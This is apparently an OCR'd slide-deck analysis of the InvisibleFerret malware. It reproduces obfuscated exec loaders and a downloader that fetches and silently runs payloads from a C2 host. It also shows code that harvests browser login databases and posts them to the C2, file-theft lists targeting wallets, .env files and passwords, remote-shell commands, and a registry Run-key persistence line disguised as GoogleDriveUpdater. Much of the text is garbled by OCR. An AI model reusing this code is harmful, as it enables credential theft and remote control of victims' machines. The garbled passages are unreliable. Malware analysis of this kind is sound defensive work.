dnOyCZHNy®YhrdNyJYv/5YYAHHVH18FCFzGmI/ZOGURgLkvUBw44yHtqIw/CI5WMqO/Pt1TSIZUUK4pM7RgZI+
CGta8hMIXVMXKT7+hXt+5MtBNbeuz/TFLONA+Qa2GvYb96CMNSIXvycSwH7dZkdJAyK3Y989j FYfVtoE+BMm2f
rGLy1sGKkvWHirrG9FNHp+PLVe4Xbm8avk3ndbRxR5c71+1FicqoczV1CLdsZzxhfP/IulWVA9R/55CKKkwZgH1N
a7PJSbLDuwIkDeZpD8Bmh7Whe2Uifs9LRzLKVYrKzONXufzRhcg3NwroQAks4h+SEqB+hT8b6bEFpOMKN6QQUF
VMLB51jw3K5SvT7TsgVUSTFVzVeSRkhxmJLIJE903n+Q9SH8mMBLsx07+dz+YfzL1PruZlc3MX7f1Svp6wedI6XC
X1QL6jyYgNrUK4EgNPmzTbs3IKBIrVMR1prrC/9iYY0Y1qld8qYq/xqH3mMWELrSnjizZ4vDUIwbkCts7gE2+Up]
kmUoBm4bthFjv/EBaTYDKpCNrvVVcUp75PmXf5HhjGsKtAXZQ4LWdAvuv6EMGWUESBKMIeAmMNA6+4KRS0ZI41/E
DCu2cqgBlaOn+IasIarMtp/qthcgvfRKb4k/LsRYLe+FibXTPXLXrLHjGruf+1wY558TdACKkW+3meTciTE]j4sXt
eTDEMocKd1f9FVgdben75nn+Pj9IW78bKmF7AhYXaDXs5gKONSCMBR7sA06/v52v5 jMgyWELXR50tRpXLXWXXY
14YGPTm7QhCY3MoAy fCMWTB518/J0sGAXqUD683AMWIBF8H6KM/ ta42VIMSULSZGPYZTjNSYYdhx
NSOCEcQcolLWwSIfpufPtAZyqokOAp8NZHS11g9s3VvETpR1+P2yRVXHQ9/NIUZz87 rPHrR+90hyczy
X2Xq/32dneTPhNdriYtKCzZ9DVsTYxztHhINUBgqt+IJ9euV8j1BSq7SqNlkrc7SWnHM71cO0Oq5E
Zb7N1KnNDuP2JdvcPqlvcZvGr4NsvFke/20moAsbk3DqPz5tfIZrfLINa6vzauEOZF/9e2PTnbPC
Z4dYOztfBcomrd5AjY9146i0H9b15zP81kQsp80rDsu2C4/MKpZtzc65cIYSXt80SgSLNS f20xXF
cN2BxoDFtOGES+JB+0APdUj0/8ITEQTLP70YkhjEhOGTYSJ0otjyRzkQrBmavTnL5qr1lKts5wWIsF
b5parYJHHiwMC3Mv23RFi8g/v4ZleCYXXi+uenR+VvDUFVrSxZEU9HjXaRoHfFOhvaUskoltZxMok
UUAMAt97CKP1i246zQ0I8zDDgk+j+C02i30L6KvUBPCcCBVj/9nmKLh3Cm9VGmqW951JsKGgxNPoS+
CBnPe80eDayN8/QqGATEkg7stiFLsAT1fyiHUwyrUxcuob/TgrIial3MUZ70VX24nzTCIzZWGYVIT

N7TuevYm2AAKAr? i MnEYRAriIIChL2AYmAANaHVUAMAHUAY /KNAYAT a2uthClAYalViriMthh1 Thata/d
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Stage 2 - InvisibleFerret

>>> (payload2)
b"exec(( ) (b'==AAnKL6/c/+5/TK1HcjZiU1lKgcOgPxk0IwKNzusHe2Wfml11lRjRNYCIzzmq7 CPkcWdKqd3qEwWST
TD6Q9ChtwteCcbPepQtnx1jgGa®IFCFYsQkRsuDI3nYD3ze6XP4WchGvtQcuW8G30Awry8ZA3bgmZET7RHM4 / jHKI
ExqGy9rTjMPP1lcob2GClirqfShcgameTj9XtuEKkDoCT1qUhjzUYjeeljZ8oXpOTIMpoO+5eDLvp3jgluceeM2uML(
WMCIW7KIe6ZmLLv6VKGICLM8kdNGHELISFX54EBIRU/05U]j4gEznC+x0ku3BX3uYAUvUe45Y+RzS34NMmOYUR2BN T
nNPrlzkcgbWbKUJThTfEBRoMp1Ck53nrsS3dZhNwICTZb4VNWCSpjpbs2QXjM7hG32gVH1sEwLqdL7wR8hMajMcFt
C1rZeQo3UrelrvMDQevGT4LR3BttObznCIWrRcDUE2pWIS37gLMZcAZg5ETctMOSgNKEqQnXTyoYLLWfwgaSTrcl7¢
UI3wifRNXuHZHnFarTsnheAEBROgbcp7n0Vv26b2pss1EUCRCTqcaBlOAPKCxvPT8C6MNS1pVhFya7zoSKUdOXXK!
PhG2FgU2bWrTLelDwNFgn8kxFwWLQ3SEZrwgcANhQU7n7 C+WwUS9+VogWWsu9UJyD+SU2/3S5yKuCMBo/Bcg0c4Ki:
8biyiNba9wINVYq9ofVEiPN/S1AhPIcdegbhbSze®1PXh8IQC3KuVCNBw2noq7 f7EDGo5Sm4Yh1LUVFTQXescoZ/5Lky
+ufgLmuCGQdIN9pVjRYyx7p50sTycgHocH+RPYTOF95rY6REJIgIB2AaGpcyvI LKwUSA2w+zo/dnoNg2fGv+gTi/ r¢
XNfzV283Caj+gCFOYXSDbAlwMy+AsawE4dTxnfdvbppfbwlC9G3cVkffUaQIN4sPBCaR/SQ7z57meY rPmA4ILiED]
HIZOIJUXBELcDOZd3LP88ccSGferMGrsWrDfGF1i/EizwlzRe8za7rfF5]) fDpf+BZuHDP rEIM6wyXKmUOXS5wvH7 4¢
E6XEZt1Hdamb+zhR8eDHs06jS5twXfCZ611BQoPx0uBUOFEWMMOLIgff2az+/gNwdP5rSqatPwCZhz2IM18ab+eN:
x1lougfElfdar9766tAKUPuU07+440XQ05MOTKrNBj02LMZvvHIrmG60+V0nGogjaDOoFYoawD7Q]j FAN1Iw4WdR+7ZIr
nAef8CYNgXKNL1u+NTTY2aIu4ZedINohXDrXo5mb6h2kggOpoycZ+KdRyGLCBcTmwO4iPpmJiYE08g9t)
7173N+7wjmQ3EILYRGLYZZjVTReinYRKGIN/7fa6Le79DR11+rRXqhKHyBvuUSQiZ63z5ik5w9DSWr]
AZIXJECwujytQLITIHaD8qC5t+vWbD2HC97Axe/sowBOfT15BON6KptBEOhU/c8y+zmNtrolg5XCwt
ZWh5cza3I07Xjq8/ZVsnRHvfQOcI0eeIHNCFGYZSzs/G6qfU/0A782Xtd2ZTU3ICVe+Dz+alO+H4;
; 79qQ0ExgblwU16G/Bjo/hoAq2Ykyd51iSdGIS1BivEtSPusyenxXZbc91EV5mcRcmU4cRXBo500z:
‘ - ey CaKM9rrvVebqzZYIkxpdptHVLtP620Mx8uHT/rwtdQmLB5JA3BWIMIOe815IZqlhWpM6hK9B+qQB+t¢
/ hcrWYorfjGl/Tyw+8xKPFZMoKK7 f455wnlb7qsBSBH1A/AEzZOFyRD21bOpr/C0Q4LsGyd7Bubbwll
“\h7 . 200RdbSFeAaucCrnQ4gNEZad4vTkP1HaCYo35QN8BCITjR1IPdt1ndKpOERNDAUUN7 rOomM2zzn30a:
”777 viITe7alYFRHbhnk4adRininkTVe /nFAiYDZ4urS37Hk7za2FwoezxwCmstF/cvXWaGl nDAXnATYPA+r]

) - =

)

q
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Stage 2 - InvisibleFerret

>>> (payload2)
b"exec(( ) (b'==AAnKL6/c/+5/TK1HcjZiU1lKgcOgPxk0IwKNzusHe2Wfml11lRjRNYCIzzmq7 CPkcWdKqd3qEwWST
TD6Q9ChtwteCcbPepQtnx1jgGa®IFCFYsQkRsuDI3nYD3ze6XP4WchGvtQcuW8G30Awry8ZA3bgmZET7RHM4 / jHKI
ExqGy9rTjMPP1lcob2GClirqfShcgameTj9XtuEKDoCT1qUhjzUYjeeljZ80oXpOTIMpoO+5eDLvp3jgluceeM2uML(
WMCIw7KIe6ZmLLv6VKkGICLM8kdNQHEiISFX54EBIRU/05U]j4gEznC+Xx0ku3BX3uYAUvUe45Y+RzS34NMmMOYUR2BN T
nNPrlzkcgbWbKUJfhTfEBRoMp1Ck53nrsS3dZhNwICfZb4VNWCSpjpbs2QXjM7hG32gVH1sEwLqdL7wR8hMajMcFt
C1rZeQo3UrelrvMDQevGT4LR3BttObznCIWrRcDUE2pWIS37gLMZcAZg5ETctMOSgNKEqQnXTyoYLLWfwgaSTrcl7¢
UI3wifRNXuHZHnFarTsnheAEBROgbcp7n0Vv26b2pss1EUCRCTqcaBlOAPKCxvPT8C6MNS1pVhFya7zoSKUdOXXK!
PhG2FgU2bWrTLelDwNFgn8kxFwWLQ3SEZrwgcANhQU7n7 C+WwUS9+VogWWsu9UJyD+SU2/3S5yKuCMBo/Bcg0c4Ki:
8b1y1Nba9w9NVYq90fVE1PN/S1AhPIcdengzeolth8IQC3KuVCNBw2noq7f7EDGoSm4Yh1LUvFTQXescoZ/5LkU
+ufgLmuCGQdN9pvjRYyx7p50sTycgHoCcH+RPYTOF95rY6REIg AagggvleKwus +
XNfzV283Caj+gCFOYXSDbAlwMy+AsawE4  * * 3 -
HIZOIJUXBELcDOZd3LP88ccSGferMGrsw
E6XEZt1Hdamb+zhR8eDHs06jS5twXfCZ6
x1lougfElfdar9766tAKUPuU07+440XQ05M,
nAef8CYNgxKN1u+NTTY2alu4

AzZIXJECwujytQLIIHaD8q
ZWh5cza3I07Xjq8/ZVsnR
799Q0ExgblwU16G/Bjo/h
CaKMIrrvVebqzZYIkxpdptH™Y

g™
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Stage 2 - InvisibleFerret

e After decode 64 times ...

sType = 'xyz2'

e = "c8Kww4HDMMKS5wrvD rMKXw4vCqMOHwW43CgH3CpMONw5XCqMOIw47CucK7w6XCo80YwrrCgMObwr/ -
Cq800ow6nDMMKqwrnDm8K9dcOrw7DDnFHDiMOaw4PCg80hw6TDmcK2w4bDnGrCu80dw6 jDnsKsw4 fDnMK9L
DjMKsw4TDNMKEwWrzDrc0Zw5nCucODw4vCr8K8wbvCpcOMwq/CucOLwrXCqMObw5jD1cKzTMODwr3DgsOry
wr3Dmc0Zw5XC rMKAwohxdsOlwp7ClWd7w5j Cs8K5wp/ -
Co8KJIbsK9w5bCvcK9w5nDo80VbsKAwohxwrvDncOow57CrMOHw5zCvXDD1cKgwqTCsMOBwWS j CucK7w6zCl
CvMOSsw6pzUcODWSxqwobCmMONw5XCqMOIw47CucK7w6XCpcOcw4DDh80cwq/ CtsKgwqBzwq/Dg80Vwqopy
w4TDicK4wq3DrcOgw47CuXzCis0Ia8KhwoHDkcK2w4 fDNMKHa8K9w7DCt8KKwo jDocKYwp3DhcKOwrjCmé
DmMK6w4 j CmmrChsKYw53CkMKvw4 j DnMK6woPCp8Kmw6TCr80Dw5vCvnrDtcKxwqF3e3LCusKtwpj CtMKIy
C18Kxw4PDkcK4ccOgwbbD1sKswoDCiGx3w6bCqcKLcF7DicK6acK1lwpfDmcKrdMKTamvCp80nw4 rDgHZyy
DgcOhw6rDncK6 fMOYwq5ywrLDps0cdcOBw4nCtcKuw5zDoMObwrp8wSjCrnLCgsKXwolndMONw4LC rMOdy
DjMKsw4TDnMKzwr jDpsKXw4 rcunTDjcKEwrvDncOrw57Cuc0CwojCkMKqw6TDqs00Uc0Gw43CvcKGwWSzDy
Ct8Kgw5LDNMOAW4 fClsKvw4HDNnc0aw57 Cu8K1w4 rCtsKuwqTCL80KwrfCscKUasKswb rDnMOKwrvCvcOXy
wqvDqMOpw5 j CqsKSw5vCvXTCu80Iwq7CiMKowq3CqcKXw4 fD1s0AwpDCosKswpnCoMKYwW7PCicKéw4nDit
CoMOXw4 fCu8KWwpfCrcKdwpzD18K+wrvClsKpwrhzU8SKYwpfCiWfCucOUwr3CrsKyw6 ronsKpw4TDmsK5y
wrvDpsKXwr3Cuc0Jw41lUacKYwpfCicK7w4bDocKEUBKYwpfCiWdO@wohqacOhw53CicK1w4PDnGrCuMO rwe
Dg80bwr57wqPCmcKYwqnDhsOXw4F4wprCosOcwpvDjcOYwq91lwpjDmMOVwrPDg80fwgnCu80dw5vDksKSy
CucOsw6DDMMK1dMOJIwr1pw53CscObwqzDiMOdwrzCt8KYwr3DisKzw4fDjVTCu80dwb rCpsKrw4PDn8K4y
Cq800ow6nDMMKqwrnDm8K9d8K7w4nCrsKIwgjCrcKpwpfCvcOOw4jCl8KmwrfCjcKOw4vDis0Iwo7CpsK3y
CmcKhwoHCiWdOwo j Cr8K1w6vDnMKjwrrDicOKwrrCu80nw5rDj sKéw4fClsKawrjDgMOcwsdvwg/ -
Dm80DwWrzCpsO0cw6HCrMK3w53CvsKqw5rDo800c3TDicKéwgbCocKBcw==1GThIIxw"

import base64

key = e[-8:]

ne = base64.b64decode(e[:-8].encode('utf-8')).decode('utf-8')

key = (key * ((len(e) // len(key)) + 1))[:len(ne)]

Print(".join(chr((ord(char) - ord(key[i])) % 256) for i, char in enumerate(ne)))
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Stage 2 - InvisibleFerret

import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check call([sys.executable,

‘-m', 'pip', ‘'install', 'requests']);import requests
ot = platform.system()
home = os.path.expanduser("~")
host="EyNC4yNTM=0TUuMjE3Lj "
hostl = base64.b64decode(host[-10:] + host[:-10]).decode()
host2 = f'http://{host1}:80"'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
def download payload():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass

try:
aa = requests.get(host2+"/payload/"+sType, allow redirects= =)
with open(ap, 'wb') as f:f.write(aa.content)
return

except Exception as e:return ¢

res=download payload()

if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/bow"
def download browse():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass

try:
aa=requests.get(host2+"/brow/"+sType, allow redirects=T )
with open(ap, 'wb') as f:f.write(aa.content)
return

except Exception as e:return F

res=download browse() ’5 2957
f s La) /')
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP) GW’

A

else:subprocess.Popen([sys.executable, ap]) v/



Stage 2 - InvisibleFerret

e go to C2/payload, and save as pay

host="EyNC4yNTM=0TUuMjE3Lj"
hostl = base64.b64decode(host[-10:] + host[:-10]).decode()
host2 = f'http://{host1}:80'
ap = pd + "/pay"
def download payload():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return 1|
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass

try:
aa = requests.get(host2+"/payload/"+sType, allow redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return

except Exception as e:return

res=download payload()

if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags
else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

15y
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Stage 2 - InvisibleFerret

e go to C2/payload, and save as pay

B i e e

MACFH}EI if res:

if ot=="Windows":subprocess.Popen([sys.executable, ap], crea
else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

L
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Stage 2 - InvisibleFerret

e go to C2/brow, and save as bow

ap = pd + "/bow"
def download browse():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return |
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass

try:
aa=requests.get(host2+"/brow/"+sType, allow redirects=] )
with open(ap, 'wb') as f:f.write(aa.content)
return !

except Exception as e:return |

res=download browse()

if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creation
else:subprocess.Popen([sys.executable, ap])
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Stage 3 - brow

o (2

e send the information to C2/keys

home = os.path.expanduser("~")
host="EyNC4yNTM=0TUuUMjE3Lj"

ts int(time.time()*1000)

hn socket.gethostname()

hostl
host2

base64.b64decode(host[-10:] + host[:-10]).decode()
f'http://{hostl}:80'

def save(self, fn: Union[Path, str], filepath: Union[Path, str], blank file: bool =
content = filepath + '\n' + self.pretty print()
options {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': content}
url = R@SE2+' /keys'
try:requests.post(url, data=options)
except:return "

15y
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Stage 3 - brow

© KEBERT

ERBE—REENEERE  SERSTENAERPRENFEEE (NERNBENERFE
2) - T2 EhasauF i

RBER

1. BEERERDVAOKRE
o BEUZENER Python 4 » 1 requests ~ pycryptodome F pywin32 °

2. BIBEERTH
o EEZHAZIERESE (W Chrome - Brave - Opera ~ Yandex 1 Microsoft Edge ) -
o REERESIBER R ER -

3. HREREE
o RREBRNAMHEEPRNEFRENRE - R FEESMEMSUREE -
o ERBSMNEETTE (1 AES B2 ) REZROBE -

4. ERLE:
o WERIMEE BB HTTP FREHER XN BZERNERE (host2 ) -



Stage 3 - brow

&)

RERARAT

self.browsers paths = {

ERBEE—REENEERE  EERZETENAERPRER
2) - T2 EhasauF i

"chrome": os.path.join(base path, r"Local\\Google\\{ver}\\User Data\\Local State"),
"opera": os.path.join(base _path, r"Roaming\\Opera Software\\{ver}\\Local State"),
"brave": os.path.join(base path, r"Local\\BraveSoftware\\{ver}\\User Data\\Local State"),
"yandex": os.path.join(base path, r"Local\\Yandex\\{ver}\\User Data\\Local State"),
"msedge”: os.path.join(base path, r"Local\\Microsoft\\{ver}\\User Data\\Local State")

self.browsers database paths = {

R\BER

"chrome": os.path.join(base path, r"Local\\Google\\{ver}\\User Data\\{profile}\\Login Data"),
"opera": os.path.join(base path, r"Roaming\\Opera Software\\{ver}{profile}\\Login Data"),

"brave": os.path.join(base path, r"Local\\BraveSoftware\\{ver}\\User Data\\{profile}\\Login Data"),
"yandex": os.path.join(base path, r"Local\\Yandex\\{ver}\\User Data\\{profile}\\Local State"),
"msedge”: os.path.join(base path, r"Local\\Microsoft\\{ver}\\User Data\\{profile}\\Login Data")

. self.browsers web paths = {
1. EERERVAIMKE : "chrome": os.path.join(base path, r"Local\\Google\\{ver}\\User Data\\{profile}"),

o WEWZEMNEN Python B4 » W requests - py
2. BMABZE }

"opera": os.path.join(base path, r"Roaming\\Opera Software\\{ver}{profile}"),

"brave": os.path.join(base path, r"Local\\BraveSoftware\\{ver}\\User Data\\{profile}"),
"yandex": os.path.join(base path, r"Local\\Yandex\\{ver}\\User Data\\{profile}"),
"msedge”: os.path.join(base path, r"Local\\Microsoft\\{ver}\\User Data\\{profile}")

o EEZHAZIERESE (W Chrome - Brave - Opera ~ Yandex 1 Microsoft Edge ) -

o REHHARIBIERRANKELEE -
3. RENEUR

o RBABRHNAUMBEEPRREFRFHZE - GERFEEMEhSUREE -

o FHBAEMNMREE (1 AES B2 ) REFERHNEIE -
4. ERLE:

o WERRHBIE 88 HTTP SRS HEZEINHBZZEHNEMREE ( host2 ) -



Stage 3 - payload -0

1 sType = 'xyz2'

e two paragraphs of code

)

3

5
6
7
9
10
11

import base64

key = e[-8:]

ne = base64.b64decode(e[:-8].encode('utf-8')).decode('utf-8')

key = (key * ((len(e) // len(key)) + 1))[:len(ne)]

exec(''.join(chr((ord(char) - ord(key[i])) % 256) for i, char in enumerate(ne)))

e = "w5DCuMOKwrPCvMONwovCs80Iwr7Cv3p+wp/ -

Dm8K9w4 j CvB80AWrPCVMOgwp FDhMOWwWG7DhcKpwr59wSHDg80Wwrh6wrj Cs80gw5Bxw5DCUMOKwWrPCvMOnwovDE
Cn8K2wrzDos0dW80Qwr jDisKzwrzDp8KLw4XDkMK4wr90wrDDpcOawr7Ch8KvwrvCuMKvwe fDIMK+wax rw4PCs
Ck8K6W41wwr3Dp80dw4bDisK/wobCt8K/w5XDm80DwSbCrsK/wrfCvX3DkcODw5bCuHrCuMKyw6XDkMKyw4vCt
DpXXCusOUwrvDicK2wr7Ck80dwrbDmMOAwr/Ct8K+w6bC18K3w5vCu80Gwq3CrH3DIMK+wS5 fCusOMwrhqw5 rDk

%
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Stage 3 - payload -0

e two paragraphs of code

1 sType = 'xyz2'

5 import base64
o key = e[-8:]
7 ne = base64.b64decode(e[:-8].encode('utf-8')).decode( 'utf-8

2 key = (key * ((len(e) // len(key)) + 1))[:1len(ne)] _
o exec(''.join(chr((ord(char) - ord(key[i])) % 256) for i, ch

1 e = "w5DCuMOKwrPCvMOnwovCs80Iwr7Cv3p+wp/ -

Dm8K9w4 j Cv80AWrPCvMOgwp TDhMOWwG7DhcKpwr59w5HDg80Wwrh6wrj Cs80gw5Bxw5DCUMOKwrPCvMONwoVD
Cn8K2wrzDos0dW80Qwr jDisKzwrzDp8KLw4XDkMK4wr90wrDDpcOawr7Ch8KvwrvCuMKvw6 fDIMK+w4x rwdPC

Ck8K6wW4 1wwr3Dp80dw4bDisK/wobCt8K/w5XDm80DwSbCrsK/wrfCvX3DkcODw5bCuHrCuMKyw6XDKkMKyw4vC
DpXXCusOUwrvDicK2wr7Ck80dwrbDmMOAwr /Ct8K+w6bC18K3w5vCu80Gwq3CrH3DIMK+w5fCusOMwrhqw5rD




Stage 3 - payload - 1

import base64,socket

from uuid import getnode

from requests import get,post

from getpass import getuser

from hashlib import sha256

from platform import node,version,release,system
import time

class System(object):
def init (A):A.s=system();A.hn=node();A.rel=release();A.v=version();A.un=getuser();A.uuid=A.get id()
def get id(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
def info(A):return{'uuid':A.uuid, 'system':A.s, 'release':A.rel, 'version':A.v, 'hostname':A.hn, 'username':A.un}

class Geo(object):

def init (A):A.iip=A.local _ip();A.geo=A.get geo()

def local ip(A):
try:return socket.gethostbyname ex(hn)[-1][-1]
except:return'’

def get geo(A):
try:return get('http://ip-api.com/json').json()
except:pass

def info(A):
g=A.get _geo()

if g:

ii=A.iip

if ii:g['internallp']=ii
return g

class Information(object):
def init (A):A.net_info=Geo().info();A.sys info=System().info()
def parse(K,data):

J='regionName';I='country';H='query';G='city';F='isp';E='zip';D="'lon';C="'lat’';B="'timezone'; A='internallp'
A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G
else'',B:A[B]if B in A else'',J:A[J]if J in A else'', A:A[ A]if A in A else''} _]7’1",!.'
if'/'in A[B]:A[B]=A[B].replace('/'," ') )
if' 'in A[B]:A[B]=A[B].replace(’ ',* ') \BaUP
return A SR

def get info(A):B=A.net info;return{'sys info':A.sys info,'net info':A.parse(B if B else[])}



Stage 3 - payload - 1

http://ip-api.com/json

import base64,socket

from uuid import getnode

from requests import get,post

from getpass import getuser

from hashlib import sha256

from platform import node,version,release,system
import time

class System(object):
def init (A):A.s=system();A.hn=node();A.rel=release();A.v=version();A.un=getuser();A.uuid=A.get id()
def get id(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
def info(A):return{'uuid':A.uuid, 'system':A.s, 'release':A.rel, 'version':A.v, 'hostname':A.hn, 'username':A.un}

class Geo(object):
def init (A):A.iip=A.local _ip();A.geo=A.get geo()
def local ip(A):
try:return socket.gethostbyname ex(hn)[-1][-1]

lef get beo(A):
try:return get('http://ip-api.com/json').json()
except:pass

a_£ :_c_rany

g=A.get geo()

if g:

ii=A.iip

if ii:g['internallp']=ii
return g

class Information(object):
def init (A):A.net_info=Geo().info();A.sys info=System().info()
def parse(K,data):
J='regionName';I='country';H='query';G='city';F='isp';E='zip';D="'lon';C="'lat’';B="'timezone'; A='internallp'
A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G

else'',B:A[B]if B in A else'',J:A[J]if J in A else'', A:A[ A]lif A in A else''} _]7’11/_'
if'/'in A[B]:A[B]=A[B].replace('/'," ') )
if' 'in A[B]:A[B]=A[B].replace(’_'," ') \BOUP
return A Nz

def get info(A):B=A.net info;return{'sys info':A.sys info,'net info':A.parse(B if B else[])}



Stage 3 - payload - 1

e http://ip-api.com/json

imp
om U
from r
from ¢

from
from

"status": "success",
"country": "Taiwan",
"countryCode": "TW",

“region"' "NWT",
reglonName

c1ty

"zip"
n ]_at"
lllonll

"timezone": "Asia/Taipei",

“isp "UBBNET",

"org": "TFN Media Co., Ltd.",

"as": "AS24164 UNION BROADBAND NETWORK",
query”: I

def

-t base64,socket
1id import getnode

ystem(object):

init (A):A.s=system();A.hn=node();A.rel=release();A.v=version();A.un=getuser();A.uuid=A.get id()
get id(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
info(A):return{'uuid':A.uuid, 'system':A.s, 'release':A.rel, 'version':A.v, 'hostname':A.hn, 'username’ :A.un}

s0(object):

init (A):A.iip=A.local ip();A.geo=A.get geo()
local ip(A):
try:return socket.gethostbyname ex(hn)[-1][-1]

get :J(—m(A):
try:return get('http://ip-api.com/json').json()
except:pass

s_c_ 1y

g=A.get _geo()

if g:

ii=A.iip

if ii:g['internallIp']=ii
return g

1formation(object):

init (A):A.net_info=Geo().info();A.sys_info=System().info()
pf se (K,data) :
J='regionName';I="' country' ;H="'query";G=' c1ty'-F— isp';E='zip';D='lon';C='lat';B='timezone'; A='internalIp'
A=data;A={C:A[C]if C in A else" D: A[D]1f D in A else" E: A[E]1f E in A else'',F:A[F]if F 1n A else'',G:A[G
3 A[B]if B in A else'',J:A[J]if J in A else'', A:A[ A]Jif A in A else''}

if'/'in A[B]:A[B]:A[B].replace('/',' 53
if' 'in A[B]:A[B]=A[B].replace(' ',' ')
return A

get info(A):B=A.net info;return{'sys info':A.sys info,'net info':A.parse(B if B else[])}
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Stage 3 - payload - 1

e http://ip-api.com/json

"status": "success",
"country": "Taiwan",
"countryCode": "TW",
"region": "NWT",

"regionName”: " -
llcityll : Il,

“zip’: 5

"lon":

"timezone": "Asia/Taipei",
"isp": "UBBNET",

"org": "TFN Media Co., Ltd.",
"as": "AS24164 UNION BROADBAND NETWORK",

i ET2021 & 3. A 25 H

- BRRHTTEEREE
i 522 =] K FF & 5B
ENE

7 110381202103250420
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Stage 3 - payload -2

® some code

ex_files = ['.exe",".d1l’, .msi",".dmg"’,".is0"," .pkg", " .apk’, .xapk'," .aar',".ap_",".aab",".dex", ".class'," ' .rpm", " .deb", " ".ipa’, " .dsym', " .mp4",".
avi',".mp3', .wmv',".wma', " .mov"', " .webm', " .avchd',".mkv",".ogg"," .mpe', " .mpv', "’ .mpeg’', .map’,'.md4a’," .mav"," . aac’, " .flac’," .aiff’," .qt"," . flv',".
swf', " .pyc’, " ".lock",".psd’, " .pack’, " .old’, " .ppt", " .pptx",".virtualization',".indd",".eps’,".ai',".a'," ".jar", ".s0"',".0", ".wt"',".1ib", ".dylib’, " '.bin",
'.ffx',".svg', " .css', . scsst, .gem”, " html ]

ex_dirs = ['vendor', 'Pods’, 'node _modules','.git’,'.next’,".externalNativeBuild', 'sdk’,".idea"’, 'cocos2d’, 'compose’, 'proj.ios mac',  'proj.
android-studio’, 'Debug', 'Release’, "‘debug', 'release’, 'obj', '0bj", 'xcuserdata’, '.gradle’, 'build’, "storage','.android', '"Program Files (x86)"', '$RECYCLE.
BIN', 'Program Files', 'Windows', ‘ProgramData’, 'cocoapods’, 'homebrew’,’.svn’, 'sbin', 'standalone’, "local’, ‘ruby’, 'man', *zsh', 'Volumes', 'Applications”,
‘Library’, 'System’, 'Pictures’, 'Desktop’, 'usr', 'android’, ‘var',' pycache ',".angular’,'cache’,’.nvm’,".yarn’,".docker",".local’, " .vscode’, .cache’,
' __MACOSX', '.pyp',".gem','.config','.rustup’,'.pyenv’,’.rvm’,".sdkman’, ' .nix-defexpr’,"'.meteor","'.nuget’, .cargo’,"'.vscode-insiders’,".gemexport’,".
Bin','.oh-my-zsh',".rbenv',".ionic", " ".mozilla",".var", " .cocoapods’,'.flipper",".forever’,"'.quokka’,'.continue’,'.pub-cache',".debris", "jdk",".
wine32', '.phpls’, ' .typeChallenges’, '.sonarlint’,’'.aptos’,"'.bluemix’, ' .bundle",".cabal’,.changes',"'.changeset’,"'.circleci’, .cp’,".cpanm’, ' .cxx",".
dart _tool’,'.dartServer','.dbvis',"'.deps’',"'.devcontainer’,".dotnet’,".dropbox.cache’,"'.dthumb’,".ebcli-virtual-env',".eclipse’, 'eclipse’,".
electrum’', '.executables’,'.exp',".ghcup’, ' .github’, ' .gnupg’,'.hash’,’.hasura’,’.IdentityService",".indexes",".install’,"'.install4j", .kokoro",".
localized','.npm’, '.node-gyp*,"'.p2", " .platformio’, " .plugin symlinks',"'.plugins’,'.store’,".storybook"’,".tmp", tmp’,".turbo’,".versions’," .vs",".
vscode-server', '.yalc', 'lazure', "x-pack’, "'1ib64", 'site-packages", ‘'node modules12','kibana-8.5.0", 'google-cloud-sdk', ‘golang.org', 'Assets.xcassets"’,
‘arduino’ ]

pat_envs = ['.env', " 'config.js’', "secret’, 'metamask’, ‘wallet’, 'private’, 'mnemonic’, "password’, "account’,’.xls"’, ".xlsx", " .doc’, *.docx", ' .rtf"]

exl fales = [ .php® it osva’ cohtm® =hppt, = ceppt = ooml S pngs, -~ swifEs = Jeeb® i ogsxy, S sk o hs  * . gavat]

ex2 files = ['tsconfig.json’, 'tailwind.config.js’, ‘svelte.config.js", 'next.config.js", 'babel.config.js", 'vite.config.js", ‘webpack.config.js",
‘postcss.config.js’, 'robots.txt", 'license.txt"',".ds_store’,'.angular-config.json", 'package-lock.json"]
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Stage 3 - payload -2

some

code

class Shell(object):
init (A,S):
=S

def

> > > >> > > P

.sess
.is alive = T

.is delete = F

.lock = RLock()

.timeout count=0

.cp_stop=0

.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
.cmds = {

.ssh_obj,

.ssh_cmd,

.ssh_clip,

:A.ssh_run,

.ssh_upload,

.ssh _kill,

.ssh_any,

.ssh_env,

.ssh_safe

1
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Stage 3 - payload -2

® some code
def ssh_safe(A, args):
a=args|[ A] # A = 'admin’
platform = os_type.lower()
cmd = 7

pay_dir = os.path.join(A.par_dir, ‘pay"')

if platform.startswith('win'):
py_dir = os.path.join(os.path.expanduser(“~"), ".pyp\\pythonw.exe")
cmd = f'reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion\\Run /v GoogleDriveUpdater /t REG SZ /d "\\"{py_dir}\\" \\"{pay_dir}
wele

elif platform.startswith( darwin'):
